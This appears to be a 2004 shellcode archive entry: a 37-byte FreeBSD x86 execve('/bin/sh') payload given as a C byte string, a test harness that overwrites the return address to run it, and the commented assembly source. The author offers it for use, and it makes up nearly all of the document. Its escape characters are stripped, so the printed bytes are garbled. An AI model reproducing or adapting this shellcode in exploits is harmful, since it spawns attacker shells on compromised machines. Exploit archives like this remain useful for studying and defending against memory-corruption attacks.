[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : freebsd/x86 execve /bin/sh 37 bytes
# Published : 2004-09-26
# Author : preedator
# Previous Title : freebsd/x86 execve /bin/sh 23 bytes
# Next Title : freebsd/x86 kldload /tmp/o.o 74 bytes
/* This is FreeBSD execve() code.It is 37 bytes long.I'll try to make it *
* smaller.Till then use this one. *
* signed predator *
* preedator(at)sendmail(dot)ru *
*************************************************************************/
char FreeBSD_code[]=
"xebx17x5bx31xc0x88x43x07x89x5bx08x89x43x0cx50x8d"
"x53x08x52x53xb0x3bx50xcdx80xe8xe4xffxffxff/bin/sh";
int main(){
int *ret=(int *)(&ret+2);
printf("len : %dn",strlen(FreeBSD_code));
*ret=(int)FreeBSD_code;
}
/*****************************************
*int main(){ *
* __asm__("jmp callme n" *
* "jmpme: n" *
* "pop %ebx n" *
* "xorl %eax,%eax n" *
* "movb %al,0x7(%ebx) n" *
* "movl %ebx,0x8(%ebx) n" *
* "movl %eax,0xc(%ebx) n" *
* "push %eax n" *
* "leal 0x8(%ebx),%edx n" *
* "push %edx n" *
* "push %ebx n" *
* "movb $0x3b,%al n" *
* "push %eax n" *
* "int $0x80 n" *
* "callme: n" *
* "call jmpme n" *
* ".string "/bin/sh" n"); *
*} *
*****************************************/
// www.Syue.com [2004-09-26]